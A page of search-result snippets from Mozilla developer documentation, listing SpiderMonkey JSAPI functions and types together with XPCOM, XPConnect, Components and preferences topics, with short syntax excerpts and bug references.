syntax bool js::tonumber(jscontext *cx, js::handlevalue v, double *out); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js::tonumber bug 739541 ...
JS::ToPrimitive
syntax bool js::toprimitive(jscontext *cx, js::handleobject obj, jstype hint, js::mutablehandlevalue vp); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js::toprimitive js::getfirstargumentastypehint js_defaultvalue -- old name of this function bug 1054756 - added ...
JS::ToString
syntax #include "js/conversions.h" // as of spidermonkey 38; previously in jsapi.h jsstring* js::tostring(jscontext *cx, js::handlevalue v) name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js::tostring bug 933834 ...
JS::ToUint16
syntax bool js::touint16(jscontext *cx, js::handlevalue v, uint16_t *out); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js::touint16 bug 779601 ...
JS::ToUint32
syntax bool js::touint32(jscontext *cx, js::handlevalue v, int32_t *out); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js::touint32 bug 739541 ...
JS::ToUint64
syntax bool js::touint64(jscontext *cx, js::handlevalue v, uint64_t *out); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js::touint64 bug 742188 ...
JSAutoCompartment
syntax jsautocompartment(jscontext *cx, jsobject *target); jsautocompartment(jscontext *cx, jsscript *target); name type description cx jscontext * the context on which a cross-compartment call is needed.
... guarantees that by automatically entering the given compartment and leaving it upon getting out of scope: void foo(jscontext *cx, jobject *obj) { // in some compartment 'c' { jsautocompartment ac(cx, obj); // constructor enters // in the compartment of 'obj' } // destructor leaves // back in compartment 'c' } see also mxr id search for jsautocompartment bug 860050 bug 833817 bug 786068 ...
JSEnumerateOp
syntax typedef bool (* jsenumerateop)(jscontext *cx, js::handleobject obj); name type description cx jscontext * pointer to the js context in which the enumeration is taking place.
... see also mxr id search for jsenumerateop jsnewenumerateop jsclass ...
JSErrorFormatString
syntax typedef struct jserrorformatstring { const char *format; uint16_t argcount; int16_t exntype; } jserrorformatstring; name type description format const char * the error format string in ascii.
... see also mxr id search for jserrorformatstring jsexntype js_reporterrornumber bug 684526 ...
JSExnType
they define which error to throw in case of a runtime error.
... see also mxr id search for jsexntype jserrorformatstring bug 684526 ...
JSID_IS_STRING
syntax bool jsid_is_string(jsid id); jsstring * jsid_to_string(jsid id); jsid interned_string_to_jsid(jscontext *cx, jsstring *str); // added in spidermonkey 38 jsflatstring * jsid_to_flat_string(jsid id); // added in spidermonkey 17 name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for jsid_is_string mxr id search for jsid_to_string mxr id search for interned_string_to_jsid mxr id search for jsid_to_flat_string bug 609440 - added jsid_to_flat_string bug 1045900 - added interned_string_to_jsid ...
JSObject
an object inherits properties, including methods, from its prototype (which is another object).
...each property has a name, a getter, a setter, and property attributes.
JSObjectOps.destroyObjectMap
details of the api may change from one release to the next.
... syntax typedef void (*jsobjectmapop)(jscontext *cx, jsobjectmap *map); name type description cx jscontext * pointer to the js context in which garbage collection is happening.
JSObjectOps.enumerate
details of the api may change from one release to the next.
... for native objects, the enumerate callback first checks the jsclass_new_enumerate flag of the object's class.
JSObjectOps.getAttributes
details of the api may change from one release to the next.
... syntax typedef jsbool (*jsattributesop)(jscontext *cx, jsobject *obj, jsid id, jsproperty *prop, unsigned int *attrsp); name type description cx jscontext * pointer to the js context in which the property access is happening.
JSPropertySpec
syntax struct jspropertyspec { struct selfhostedwrapper { void *unused; const char *funname; }; const char *name; int8 tinyid; // obsolete since jsapi 31 uint8_t flags; union { jsnativewrapper native; selfhostedwrapper selfhosted; } getter; union { jsnativewrapper native; selfhostedwrapper selfhosted; } setter; /* obsolete since jsapi 29 */ /* added in jsapi 28 */ const char *selfhostedgetter; const char *selfhostedsetter; }; name type description name const char * name to assign the pro...
...to define an array of jspropertyspec, use js_psg, js_psgs, js_self_hosted_get, js_self_hosted_getset, and js_ps_end see also mxr id search for jspropertyspec jsfunctionspec jsnativewrapper js_defineproperties js_psg js_psgs js_self_hosted_get js_self_hosted_getset js_ps_end bug 766448 - changed type of getter and setter to wrapper bug 938728 - added selfhostedgetter and selfhostedsetter bug 958262 - changed type of getter and setter to union, and removed selfhostedgetter and selfhostedsetter.
JSString
conceptually, a javascript string is just an array of char16_t characters and a length.
... you should not rely on the structure of jsstring, because it is subject to change; instead, treat jsstring objects as opaque.
JSVAL_TO_BOOLEAN
cast a boolean javascript value to a c integer, either 0 or 1, without any type checking or error handling.
...these are constants of type jsbool, which is an integer type, the spidermonkey version of bool.
JSVAL_TO_GCTHING
jsval_is_gcthing may be used to check this.
...when possible, it is better to use a more specific macro, such as jsval_to_object or jsval_to_string.
JSVAL_TO_OBJECT
cast a jsval to a jsobject * without a type check.
...to convert a value to an object, use the js_valuetoobject function, which has well-defined behavior even when the argument is not an object or null.
JSVAL_TO_STRING
cast a jsval to type jsstring * without a type check.
...(the difference is that the latter will convert an object, array, number, or other value to a string in a type-safe way, creating a new string if needed.) to convert the return type of this macro (jsstring *) to a char pointer, use js_getstringbytes.
JSVersion
each version has a name, which is a string used by js_stringtoversion and js_versiontostring.
... 180 javascript 1.8 "1.8" jsversion_ecma_5 185 ecma 262 edition 5 "ecmav5" jsversion_default 0 latest javascript version, but omitting web-incompatible extensions "default" jsversion_unknown -1 unknown javascript version null jsversion_latest jsversion_ecma_5 latest javascript version null see also mxr id search for jsversion js_getversion js_setversion js_stringtoversion js_versiontostring bug 824312 ...
JS_BindCallable
syntax jsobject* js_bindcallable(jscontext *cx, js::handle<jsobject*> callable, js::handle<jsobject*> newthis); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js_bindcallable bug 738356 ...
JS_CompileFileHandleForPrincipals
syntax jsobject * js_compilefilehandleforprincipals(jscontext *cx, jsobject *obj, const char *filename, file *fh, jsprincipals *principals); name type description cx jscontext * the context.
... obj jsobject * filename const char fh file * principals jsprincipals * description please provide a description.
JS_CompileFileHandleForPrincipalsVersion
syntax jsobject * js_compilefilehandleforprincipalsversion(jscontext *cx, jsobject *obj, const char *filename, file *fh, jsprincipals *principals, jsversion version); name type description cx jscontext * the context.
... obj jsobject * filename const char fh file * principals jsprincipals * version jsversion description please provide a description.
JS_CompileUCFunctionForPrincipalsVersion
syntax jsfunction * js_compileucfunctionforprincipalsversion(jscontext *cx, jsobject *obj, jsprincipals *principals, const char *name, unsigned int nargs, const char **argnames, const jschar *chars, size_t length, const char *filename, unsigned int lineno, jsversion version); name type description cx jscontext * the context.
... obj jsobject * principals jsprincipals * name const char * nargs unsigned int argnames const char ** chars const jschar * length size_t filename const char * lineno unsigned int version jsversion description please provide a description.
JS_ConcatStrings
syntax jsstring * js_concatstrings(jscontext *cx, js::handlestring left, js::handlestring right); name type description cx jscontext * the context in which both the strings have been created.
...see also mxr id search for js_concatstrings ...
JS_ContextIterator
each call to js_contextiterator returns the next context in the cycle.
... example the following code snippet illustrates how to cycle through the contexts for a given runtime: jscontext *acx; jscontext *iterp = null; int i = 0; while ((acx = js_contextiterator(rt, &iterp)) != null) { printf("%d ", ++i); } see also mxr id search for js_contextiterator ...
JS_DecompileFunction
syntax jsstring * js_decompilefunction(jscontext *cx, js::handle<jsfunction*> fun); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js_decompilefunction js_decompilescript js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_decompilefunctionbody js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_setbranchcallback js_valuetofunction ...
JS_DecompileFunctionBody
syntax jsstring * js_decompilefunctionbody(jscontext *cx, js::handle<jsfunction*> fun, unsigned indent); name type description cx jscontext * the context in which to decompile the function.
...see also mxr id search for js_decompilefunctionbody js_decompilescript js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_decompilefunction js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_setbranchcallback js_valuetofunction ...
JS_DecompileScript
if the script is not cached, it tries to load the source from file, and returns nullptr if an error happened while loading.
... see also mxr id search for js_decompilescript js::compile js_compilescript js_decompilefunction js_destroyscript js::evaluate js_executescript bug 761723 ...
JS_DecompileScriptObject
syntax jsstring * js_decompilescriptobject(jscontext *cx, jsobject *scriptobj, const char *name, unsigned int indent); name type description cx jscontext * the context.
... scriptobj jsobject * name const char * indent unsigned int description fixme: please provide a description.
JS_DestroyScript
syntax void js_destroyscript(jscontext *cx, jsscript *script); name type description cx jscontext * the context in which to destroy the script.
... see also mxr id search for js_destroyscript bug 630209 ...
JS_EnumerateStandardClasses
syntax bool js_enumeratestandardclasses(jscontext *cx, js::handleobject obj); name type description cx jscontext * pointer to the executable script context for which to initialize js function and object classes.
... see also mxr id search for js_enumeratestandardclasses js_resolvestandardclass ...
JS_ForgetLocalRoot
syntax void js_forgetlocalroot(jscontext *cx, void *thing); name type description cx jscontext * pointer to the context in which the caller is running.
...calling it successively on other than the most recently allocated gc-thing will tend to average the time inefficiency, and may risk o(n2) growth rate, but in any event, you shouldn't allocate too many local roots if you can root as you go (build a tree of objects from the top down, forgetting each latest-allocated gc-thing immediately upon linking it to its parent).
JS_FreezeObject
this means that other code cannot delete, add or change any properties on the object.
... see also mxr id search for js_freezeobject javascript reference: the object.freeze method of object js_deepfreezeobject bug 492849 ...
JS_GetArrayLength
syntax bool js_getarraylength(jscontext *cx, js::handle<jsobject*> obj, uint32_t *lengthp); name type description cx jscontext * the context in which to look up the array's length.
...see also mxr id search for js_getarraylength js_getelement js_setarraylength ...
JS_GetArrayPrototype
syntax jsobject * js_getarrayprototype(jscontext *cx, js::handleobject forobj); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
...see also mxr id search for js_getarrayprototype bug 872043 ...
JS_GetCompartmentPrivate
description each jscompartment has a field of type void * which the application may use for any purpose.
... see also mxr id search for js_setcompartmentprivate mxr id search for js_getcompartmentprivate js_getruntimeprivate js_setruntimeprivate js_getprivate js_setprivate js_getinstanceprivate js_getcontextprivate js_setcontextprivate js_getcontextprivate js_setsecondcontextprivate bug 563106 ...
JS_GetContextPrivate
description each jscontext has two fields of type void * which the application may use for any purpose.
...see also mxr id search for js_getcontextprivate mxr id search for js_setcontextprivate mxr id search for js_getsecondcontextprivate mxr id search for js_setsecondcontextprivate js_getruntimeprivate js_setruntimeprivate js_getcompartmentprivate js_setcompartmentprivate js_getprivate js_setprivate js_getinstanceprivate bug 714458 ...
JS_GetEmptyString
syntax jsstring * js_getemptystring(jsruntime *rt); name type description rt jsruntime * the runtime for which to return the empty string.
...see also mxr id search for js_getemptystring js_getstringlength js_getemptystringvalue bug 612150 ...
JS_GetExternalStringClosure
syntax void * js_getexternalstringclosure(jscontext *cx, jsstring *str); name type description cx jscontext * the context from which to retrieve the closure for a string.
... str jsstring * the string for which to return the closure.
JS_GetFunctionCallback
syntax jsfunctioncallback js_getfunctioncallback(jscontext *cx); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js_getfunctioncallback js_setfunctioncallback jsfunctioncallback bug 1103269 ...
JS_GetFunctionName
syntax const char * js_getfunctionname(jsfunction *fun); name type description fun jsfunction * a pointer to a javascript function.
...the return value is either the name of a function, or the string "anonymous", which indicates that the function was not assigned a name when created.
JS_GetFunctionPrototype
syntax jsobject * js_getfunctionprototype(jscontext *cx, js::handleobject forobj); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
...see also mxr id search for js_getfunctionprototype bug 726182 ...
JS_GetFunctionScript
syntax jsscript * js_getfunctionscript(jscontext *cx, js::handlefunction fun); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js_getfunctionscript bug 1069694 ...
JS_GetGlobalForObject
description js_getglobalforobject returns the last non-null object on the parent chain of the input object.
...see also mxr id search for js_getglobalforobject ...
JS_GetImplementationVersion
syntax const char * js_getimplementationversion(void); description js_getimplementationversion returns a hard-coded, english language string that specifies the version number of the js engine currently in use, and its release date.
... see also mxr id search for js_getimplementationversion js_getversion js_setversionforcompartment ...
JS_GetObjectPrototype
syntax jsobject * js_getobjectprototype(jscontext *cx, js::handleobject forobj); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
...see also mxr id search for js_getobjectprototype bug 725888 ...
JS_GetOptions
syntax uint32 js_getoptions(jscontext *cx); name type description cx jscontext * the context from which to read options.
...see also mxr id search for js_getoptions js_setoptions js_toggleoptions bug 880330 ...
JS_GetPendingException
syntax bool js_getpendingexception(jscontext *cx, js::mutablehandlevalue vp); name type description cx jscontext * pointer to the js context in which the exception was thrown.
...see also mxr id search for js_getpendingexception js_isexceptionpending js_clearpendingexception js_reportpendingexception js_setpendingexception ...
JS_HasInstance
syntax bool js_hasinstance(jscontext *cx, js::handle<jsobject*> obj, js::handle<js::value> v, bool *bp); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...see also mxr id search for js_hasinstance js_instanceof ...
JS_IdToProtoKey
syntax jsprotokey js_idtoprotokey(jscontext *cx, js::handleid id); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js_idtoprotokey js::protokeytoid bug 933681 ...
JS_IdToValue
syntax bool js_idtovalue(jscontext *cx, jsid id, js::mutablehandle<js::value> vp); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js_idtovalue js_valuetoid ...
JS_InitStandardClasses
syntax bool js_initstandardclasses(jscontext *cx, js::handle<jsobject*> obj); name type description cx jscontext * pointer to the executable script context for which to initialize js function and object classes.
... see also mxr id search for js_initstandardclasses ...
JS_IsExternalString
syntax bool js_isexternalstring(jsstring *str); name type description str jsstring * the string to check.
...see also mxr id search for js_isexternalstring bug 651041 ...
JS_IsNative
syntax bool js_isnative(jsobject *obj); name type description str jsobject * the object to check.
... see also mxr id search for js_isnative js_isnativefunction bug 648647 ...
JS_IsStopIteration
syntax // added in spidermonkey 42 bool js_isstopiteration(js::value v); // obsolete since spidermonkey 42 bool js_isstopiteration(jsval v); name type description v js::value the value to check.
... see also mxr id search for js_isstopiteration js_throwstopiteration bug 918170 bug 1184564 -- changed jsval to js::value ...
JS_LinkConstructorAndPrototype
syntax bool js_linkconstructorandprototype(jscontext *cx, js::handle<jsobject*> ctor, js::handle<jsobject*> proto); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js_linkconstructorandprototype js_initclass bug 722729 ...
JS_LooselyEqual
syntax bool js_looselyequal(jscontext *cx, js::handle<js::value> v1, js::handle<js::value> v2, bool *equal); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js_looselyequal js_strictlyequal js_samevalue ...
JS_MapGCRoots
perform some action for each object in a jsruntime's gc root set.
... syntax uint32 js_mapgcroots(jsruntime *rt, jsgcrootmapfun map, void *data); callback syntax #define js_map_gcroot_next 0 /* continue mapping entries */ #define js_map_gcroot_stop 1 /* stop mapping entries */ #define js_map_gcroot_remove 2 /* remove and free the current entry */ typedef int (*jsgcrootmapfun)(void *rp, const char *name, void *data); description call js_mapgcroots to map the gc's roots table using map(rp, name, data).
JS_New
syntax jsobject * js_new(jscontext *cx, js::handleobject ctor, const js::handlevaluearray& args); // added in jsapi 32 jsobject * js_new(jscontext *cx, jsobject *ctor, unsigned argc, jsval *argv); // obsolete since jsapi 32 name type description cx jscontext * the context in which to create the new object.
... see also mxr id search for js_new bug 480850 - added bug 959787 - added args parameter ...
JS_NewObjectForConstructor
text *cx, const jsclass *clasp, const js::callargs& args); // added in jsapi 32 jsobject * js_newobjectforconstructor(jscontext *cx, jsclass *clasp, const jsval *vp); // added in jsapi 14, obsolete since jsapi 32 jsobject * js_newobjectforconstructor(jscontext *cx, const jsval *vp); // obsolete since jsapi 14 name type description cx jscontext * the context in which to create the new object.
... see also mxr id search for js_newobjectforconstructor js_newobject object_to_jsval bug 581263 - added bug 738075 - added clasp parameter bug 959787 - added args parameter ...
JS_NewPlainObject
syntax jsobject * js_newplainobject(jscontext *cx); name type description cx jscontext * the context in which to create the new object.
... see also mxr id search for js_newplainobject js_newobject bug 1125356 ...
JS_NextProperty
syntax bool js_nextproperty(jscontext *cx, js::handleobject iterobj, js::mutablehandleid idp); name type description cx jscontext * the js context in which to enumerate properties.
... description on success, js_nextproperty returns true, with *idp containing the id of the next enumerable own property to visit using iterobj, or jsid_void if there is no such property left to visit.
JS_RemoveRootRT
syntax jsbool js_removerootrt(jsruntime *rt, void *rp); name type description rt jsruntime * pointer to the runtime with which the root was registered.
...see also mxr id search for js_removeroot jsval_is_gcthing js_addroot js_addnamedroot js_addnamedrootrt js_dumpnamedroots, js_removeroot ...
JS_SameValue
&& v2 !== v2) return true; return v1 === v2; } syntax // added in spidermonkey 45 bool js_samevalue(jscontext *cx, js::handle<js::value> v1, js::handle<js::value> v2, bool *same); // obsolete since jsapi 39 bool js_samevalue(jscontext *cx, jsval v1, jsval v2, bool *same); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... see also mxr id search for js_samevalue js_strictlyequal js_looselyequal bug 1132045 -- use handle ...
JS_SealObject
as of spidermonkey 1.8.5, js_sealobject has been removed from the jsapi, because ecmascript 5 includes a "seal" concept (namely, that of object.seal) which is quite different from that of js_sealobject.
... deep jsbool if true, seal all objects directly or indirectly reachable from obj's slots.
JS_SetCallReturnValue2
syntax void js_setcallreturnvalue2(jscontext *cx, jsval v); name type description cx jscontext * the context in which the native function is running.
... an example is in js/src/js.c; searching for js_setcallreturnvalue2 should find it.
JS_SetDefaultLocale
syntax bool js_setdefaultlocale(jsruntime *rt, const char *locale); void js_resetdefaultlocale(jsruntime *rt); name type description rt jsruntime * pointer to a js runtime locale const char * string represents locale.
... see also mxr id search for js_setdefaultlocale mxr id search for js_resetdefaultlocale bug 769872 ...
JS_SetGlobalObject
each context's global object is in the garbage collector's root set.
... this means that global objects are automatically protected from garbage collection, as are any values reachable from their properties.
JS_SetPrincipalsTranscoder
description js_setprincipalstranscoder sets a runtime-wide callback which the javascript engine uses to serialize and deserialize principals.
...mxr id search for js_setprincipalstranscoder ...
JS_SetScriptStackQuota
the default quota is 32mb which is quite generous.
... see also mxr id search for js_setscriptstackquota bug 644241 ...
JS_StrictlyEqual
syntax // added in spidermonkey 45 bool js_strictlyequal(jscontext *cx, js::handle<js::value> v1, js::handle<js::value> v2, bool *equal); // obsolete since jsapi 39 bool js_strictlyequal(jscontext *cx, jsval v1, jsval v2, bool *equal); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js_strictlyequal js_looselyequal js_samevalue bug 1132045 -- use handle ...
JS_StringToVersion
syntax jsversion js_stringtoversion(const char *string); name type description string const char * version string to convert.
...ersion_1_2 obsolete since jsapi 24 "1.3" jsversion_1_3 obsolete since jsapi 24 "1.4" jsversion_1_4 obsolete since jsapi 24 "ecmav3" jsversion_ecma_3 "1.5" jsversion_1_5 obsolete since jsapi 24 "1.6" jsversion_1_6 "1.7" jsversion_1_7 "1.8" jsversion_1_8 other jsversion_unknown see also mxr id search for js_stringtoversion jsversion js_getversion js_setversionforcompartment js_versiontostring bug 824312 ...
JS_ToggleOptions
syntax uint32 js_toggleoptions(jscontext *cx, uint32 options); name type description cx jscontext * a context on which to modify options.
...see also mxr id search for js_toggleoptions js_setoptions js_getoptions bug 880330 ...
JS_TypeOfValue
syntax jstype js_typeofvalue(jscontext *cx, js::handle<js::value> v); name type description cx jscontext * the context in which to perform the type check.
...see also mxr id search for js_typeofvalue js_convertvalue js_gettypename js_valuetoboolean js_valuetofunction js_valuetoint32 js_valuetonumber js_valuetoobject js_valuetostring ...
JS_ValueToBoolean
syntax jsbool js_valuetoboolean(jscontext *cx, jsval v, jsbool *bp); name type description cx jscontext * the context in which to perform the conversion.
... see also mxr id search for js_valuetoboolean js::toboolean bug 934557 ...
JS_ValueToInt32
syntax jsbool js_valuetoint32(jscontext *cx, jsval v, int32 *ip); name type description cx jscontext * the context in which to perform the conversion.
...js::toint32 will also convert nan (and anything that converts to nan, such as an array of strings) to 0, whereas this routine would report an error.
JS_ValueToNumber
syntax jsbool js_valuetonumber(jscontext *cx, jsval v, jsdouble *dp); name type description cx jscontext * the context in which to perform the conversion.
...for objects of standard classes, this is js_convertstub, which simply calls v.valueof() if present.
JS_ValueToObject
syntax bool js_valuetoobject(jscontext *cx, js::handlevalue v, js::mutablehandleobject objp); name type description cx jscontext * the context in which to convert the value.
...see also mxr id search for js_valuetoobject js_convertarguments js_convertvalue js_typeofvalue js_valuetofunction ...
JS_ValueToString
syntax jsstring * js_valuetostring(jscontext *cx, jsval v); name type description cx jscontext * the context in which to perform the conversion.
...for standard classes, this is js_convertstub, which simply calls v.valueof() if present.
JS_updateMallocCounter
malloc counter measures memory pressure for gc scheduling.
... see also mxr id search for js_updatemalloccounter changeset 88cfae411a2a js_newruntime js_getgcparameter bug 517665 ...
jsdouble
controlling the behavior of floating-point arithmetic is very architecture- and system-specific, and can be hard to get right.
... help in the form of test cases, commentary, and patches is always appreciated.
jsid
also, there is an additional jsid value, jsid_void, which does not occur in js scripts but may be used to indicate the absence of a valid jsid.
... a void jsid is not a valid id and only arises as an exceptional api return value, such as in js_nextproperty.
JSDBGAPI
breakpoints js_settrap js_gettrapopcode js_cleartrap js_clearscripttraps js_clearalltraps js_handletrap js_setinterrupt js_clearinterrupt watchpoints js_setwatchpoint js_clearwatchpoint js_clearwatchpointsforobject js_clearallwatchpoints inspecting the stack js_pctolinenumber js_linenumbertopc js_getfunctionscript js_getfunctionnative js_getfunctionfastnative js_getscriptprincipals typedef jsstackframe js_frameiterator js_getframescript js_getframepc js_getscriptedcaller js_stackframeprincipals js_evalframeprincipals js_getframeannotation js_setframeannotation js_getframeprincipalarray js_isnativeframe js_getframeobject js_getframescopechain js_getframecallob...
... js_connectshark js_disconnectshark js_startchudremote js_stopchudremote the following jsnative functions can be used to expose the above four apis to scripts.
SpiderMonkey 52
please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... platform support migrating to spidermonkey 52 new javascript language features new c++ apis deleted apis api changes known issues ...
SpiderMonkey releases
we do happily accept patches, and make some effort to keep the tip of the gecko tree minimally working as an embeddable source package.
... the easiest way to fetch the version corresponding to the current firefox release is to visit the treeherder page for the release repository and click on the first sm(pkg) link you see.
Running Parsemark
the test files are not checked into the source tree because they're non-mozilla js code.
...a typical run can be done like so: cd js/src/tests python parsemark.py /path/to/baseline/js /path/to/parse-tests-dir/ -q > /tmp/baseline.json python parsemark.py /path/to/current/js /path/to/parse-tests-dir/ -q > /tmp/current.json python compare_bench.py /tmp/current.json /tmp/baseline.json note: unfortunately the comparisons done are very noisy and not reliable!
TPS Pref Lists
for example: var prefs1 = [ { name: "browser.startup.homepage", value: "http://www.getfirefox.com" }, { name: "browser.urlbar.maxrichresults", value: 20 }, { name: "browser.tabs.autohide", value: true } ]; pref lists and phase actions the only actions supported for preference asset lists are modify and verify: prefs.modify prefs.verify sync only syncs certain preferences.
... to find the list of valid preferences, go to about:config on a browser that has weave installed, and search for services.sync.prefs.sync.
Zest implementation
future versions of zest are planned which will significantly increase the scope of the language.
... the first version is aimed at creating scripts for reproducing basic security vulnerabilities includes a java reference implementation, which conforms to jsr 223 has been included in a proof-of-concept owasp zap add-on the next version is underdevelopment - more details soon.
Browser security
this article provides an overview of what these are and how they work.exploitable crashesthis article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.handling mozilla security bugsthis document describes how the new security organizational structure will work, and how security-related mozilla bug reports will be handled.pinning violation reportsif a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, firefox will reject the connecti...
... secure development guidelinesthe following content will likely see significant revision, though can be used as a reference for security best practices to follow when developing code for mozilla.security and the jar protocolthis article discusses security concerns with the jar: protocol, which only firefox has ever implemented for web content.
ROLE_MENUITEM
« gecko roles page represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option.
... interfaces nsiaccessnode nsiaccessible children no children.
AT Development
this article (from 2007) reviews the progress and technology as it has developed.
... accessibility architecture how the accessibility hierarchy is implemented in mozilla (some issues aren't addressed by previous guide).
DocShell
at the moment, the transition from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.
... overview of a uri load up though dispatch to a content handler.
Life After XUL: Building Firefox Interfaces with HTML
this page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.
... problems / solutions: accessibility localization caching for working offline / pre-caching for snappy first run visual performance / jank security privacy operations tooling build process third-party library use and management ...
Places Expiration
on idle on idle it expires a larger chunk of pages, then timed expiration is stopped.
... preferences usually there is no need to tweak or set any preference, since adaptive behavior should satisfy each need, though in case of unexpected issues it's possible to act on some hidden preferences: places.history.expiration.interval_seconds: minimum number of seconds between expiration steps.
Preferences API
many applications including firefox and thunderbird have an additional tool for power users, about:config, which can be used to tweak the preferences without ui.
... interfaces the preferences api is exposed as a set of xpcom components and interfaces: nsiprefservice, nsiprefbranch.
extIApplication
not available anymore on gecko 2.0 (see [1]), use getextensions() instead obsolete since gecko 2.0 prefs readonly attribute extipreferencebranch the preferences object for the application.
... defaults to an empty root branch.
Toolkit API
the mozilla toolkit is a set of programming interfaces (apis) built on top of gecko which provide advanced services to xul applications.
... these services include: profile management chrome registration browsing history extension and theme management application update service safe mode printing official references structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration printing in xul apps see also the following developer pages contain examples and discuss...
mozilla::services namespace
the services c++ namespace offers an easy and efficient alternative for obtaining a service as compared to the indirect xpcom approach: getservice(), callgetservice(), etc methods are expensive and should be avoided when possible.
...for example, to obtain a reference to the ioservice: nscomptr<nsiioservice> ioservice = mozilla::services::getioservice(); provided service getters service accessor service interface service name getchromeregistryservice nsichromeregistryservice chrome registry service getioservice nsiioservice io service getobserverservice nsiobserverservice observer service getstringbundleservice nsistringbundleservice string bundle service gettoolkitchromeregistryservice nsitoolkitchromeregistry toolkit chrome registry service getxulchromeregistryservice nsixulchromeregistry xul chrome registry ser...
How To Pass an XPCOM Object to a New Window
for example: var ww = components.classes["@mozilla.org/embedcomp/window-watcher;1"].
... getservice(components.interfaces.nsiwindowwatcher); var win = ww.openwindow(null, "chrome://myextension/content/debug.xul", "debug history", "chrome,centerscreen,resizable", myobject); note in this example that myobject is passed to the openwindow() method; you can pass any xpcom object (or any other value, for that matter) in this way.
Components.interfaces
each object represents one of the xpcom interfaces -- that some component or another might or might not implement.
... it reflects only those interfaces which have been designated in their .idl description as scriptable, that is the interfaces which xpconnect is capable of reflecting into javascript.
Components.lastResult
try { var i = foo.bar(); switch (components.lastresult) { case components.results.ns_ok: // ns_ok is good!
...} catch (e) { // the call threw an exception or a native component returned // a failure code!
Components.results
components.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.msg (also at table of errors), with the value of each corresponding to that constant's value.
... introduction components.results is an object whose properties are the names of well-known xpcom result codes, with each value being that of the corresponding result code.
Components.utils.getGlobalForObject
this method is used to determine the global object with which an object is associated.
... this is the global object in place at the time the object was created, which is to say the global object used when executing the script that created the object.
Components.utils.isXrayWrapper
when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
...syntax boolean components.utils.isxraywrapper(obj); parameters obj the object to check.
Community
activestate python xpcom bindings mailing list discussion of the bindings between the python language and the xpcom (cross-platform com) technology from the mozilla project.
... #pyxpcom on irc.mozilla.org chat with other pyxpcom developers on mozilla's irc network.
PyXPCOM
pyxpcom allows for communication between python and xpcom, such that a python application can access xpcom objects, and xpcom can access any python class that implements an xpcom interface.
... getting to know pyxpcom pyxpcom is a bridging technology between xpcom and python.
Using components
f we want to get a hold of a component, we then do something like: var rc = cc["@mozilla.org/registry;1"]; var rs = rc.getservice(ci.nsiregistry); see also: xpcshell -- how to get a command line interface to javascript more info as was already stated, it is common to start addon scripts like: var cc = components.classes; var ci = components.interfaces; there is also another way to start, which is exactly equivalent to the above.
...xpccomponents_interfaces] classes=[object nsxpccomponents_classes] results=[object nsxpccomponents_results] issuccesscode=function issuccesscode() { [native code] } constructor=[object nsxpccomponents_constructor] queryinterface=function queryinterface() { [native code] } interfacesbyid=[object nsxpccomponents_interfacesbyid] classesbyid=[object nsxpccomponents_classesbyid] stack=js frame :: scratchpad/4 :: cdump :: line 8 manager=[xpconnect wrapped nsicomponentmanager] id=[object nsxpccomponents_id] exception=[object nsxpccomponents_exception] reporterror=function reporterror() { [native code] } cancreatewrapper=function cancreatewrapper() { [native code] } cancallmethod=function cancallmethod() { [native code] } cangetproperty=function cangetproperty() { [native code] } cansetproperty=func...
XPCShell Reference
-g this option specifies which gecko runtime environment directory (gredir) to use for xpcom.
... original document information author: david bradley <dbradley@netscape.com> last updated date: 17 march 2003 copyright information: portions of this content are © 1998–2008 by individual mozilla.org contributors; content available under a creative commons license.
XPConnect
documentation architecture basics xpconnect, javascript, xpcom, xul...
... wrappers what sorts of wrappers xpconnect generates and uses xpconnect security membranes tools xpcshell join the xpcom community choose your preferred method for joining the discussion: mailing list newsgroup rss feed irc: #developers (learn more)tools: javascript component wizard, visual c++ component wizard, visual c++ component wizard for visual studio 2010 ...
nsScriptableInputStream
example code const nsiscriptableinputstream = components.interfaces.nsiscriptableinputstream; function consumestream(inputstream) { var factory = components.classes["@mozilla.org/scriptableinputstream;1"]; var sis = factory.createinstance(nsiscriptableinputstream); sis.init(inputstream); try { while (true) { var chunk = sis.read(512); if (chunk.length == 0) break; // ok, chunk now contains a portion of the stream's data.
... } } catch (e) { dump("error: failed reading from stream:\n" + e + "\n"); } } see also nsiscriptableinputstream ...
NS_NewLocalFile
